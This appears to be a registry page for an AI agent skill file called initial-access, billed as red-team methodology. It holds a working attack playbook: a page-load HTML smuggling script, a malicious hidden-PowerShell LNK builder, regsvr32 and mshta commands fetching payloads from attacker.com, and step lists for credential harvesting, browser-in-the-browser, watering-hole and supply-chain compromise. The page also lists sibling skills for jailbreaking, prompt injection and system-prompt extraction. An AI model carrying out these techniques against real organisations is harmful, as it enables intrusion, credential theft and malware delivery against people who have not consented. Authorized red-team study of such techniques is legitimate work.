initial-access
Skill5 starsChanged 5 months agoApache-2.0View on GitHub
Initial access methodology for authorized red team engagements. Covers phishing, payload delivery, drive-by compromise, supply chain entry points, and living-off-the-land initial access techniques.
3 other projects use a version of this.
Adopted by
Most recently taken up by
- TaiMaBenJi/taima-skillstheir own version, first seen Oct 11, 2026
- hypnguyen1209/offensive-claudetheir own version, first seen Sep 21, 2026
- jessefmoore/offensive-claude-codetheir own version, first seen May 23, 2026
Other versions3 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 3
- hypnguyen1209/offensive-claude★ 401same name
- jessefmoore/offensive-claude-code★ 2same name
- TaiMaBenJi/taima-skills★ 1same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository33 other files it gives its agents.
- dcsyncSkill
- kerberoastingSkill
- pass-the-hashSkill
- jailbreakingSkill
- model-extractionSkill
- prompt-injectionSkill
- system-prompt-extractionSkill
- jwtSkill
- oauthSkill
- session-attacksSkill
- container-escapeSkill
- iam-privescSkill
- s3-enumSkill
- edr-evasionSkill
- embedding-attacksSkill
- rag-poisoningSkill
- mcp-context-injectionSkill
- mcp-rug-pullSkill
- mcp-tool-poisoningSkill
- osintSkill
- subdomain-enumSkill
- model-tamperingSkill
- cvss4-scoringSkill
- report-writingSkill
- graphqlSkill
- idorSkill
- rceSkill
- sqliSkill
- ssrfSkill
- sstiSkill
- waf-bypassSkill
- xssSkill
- xxeSkill
The file
We split this skill into the rules it gives an agent
1 rule. 0 are common, 1 is distinctive, and 0 are very specific to this project.
0
Common
Most of the 3 edited versions we read keep these.
1
Distinctive
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 71
Wait for target employees to visit
“Common” is measured: kept by at least 6 in 10 of the 3 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Initial Access
Phishing — Email
Payload types (in order of detection likelihood)
1. Macro-enabled Office documents (.xlsm, .docm) — high detection
2. ISO/IMG containers (bypass Mark-of-the-Web) — medium detection
3. HTML smuggling — medium detection
4. LNK files — medium detection
5. PDF with embedded link — lower detection
6. QR code phishing (to mobile) — lowest detectionHTML Smuggling
Deliver payload via JavaScript blob — bypasses email gateways that don't execute JS:
<script>
function d() {
var data = atob("[BASE64_PAYLOAD]");
var blob = new Blob([data], {type: 'application/octet-stream'});
var url = window.URL.createObjectURL(blob);
var a = document.createElement('a');
a.href = url;
a.download = 'update.iso';
a.click();
}
</script>
<body onload="d()">LNK Payload
# Create malicious LNK
$lnk = (New-Object -ComObject WScript.Shell).CreateShortcut("$env:TEMP\Update.lnk")
$lnk.TargetPath = "C:\Windows\System32\cmd.exe"
$lnk.Arguments = "/c powershell -w hidden -ep bypass -c [payload]"
$lnk.IconLocation = "C:\Windows\System32\shell32.dll,3"
$lnk.Save()Phishing — Web (Drive-by)
Credential harvesting site:
1. Clone target's login page (SET / evilginx2)
2. Send link via spearphishing
3. Harvest credentials in real time
Browser-in-the-Browser (BitB):
1. Overlay a fake browser popup simulating SSO login
2. Capture credentials before they reach the real SSO providerWatering Hole
- Identify websites frequently visited by target employees (industry forums, tools, regional news)
- Compromise one of those sites
- Inject exploit code or credential-harvesting redirect
- Wait for target employees to visit
Supply Chain Entry
1. Compromise a software vendor used by the target
2. Inject payload into software update
3. Target deploys "legitimate" update
4. Payload executes with software's privilegesInitial Execution (post-delivery)
# Macro-free execution via PowerShell
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand [BASE64]
# Regsvr32 (squiblydoo)
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll
# MSHTA
mshta http://attacker.com/payload.htaTools
- GoPhish — phishing campaign management
- Evilginx2 — adversary-in-the-middle phishing
- msfvenom — payload generation
- Donut — shellcode generation from .NET
MITRE ATT&CK
- T1566 — Phishing
- T1189 — Drive-by Compromise
- T1195 — Supply Chain Compromise
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

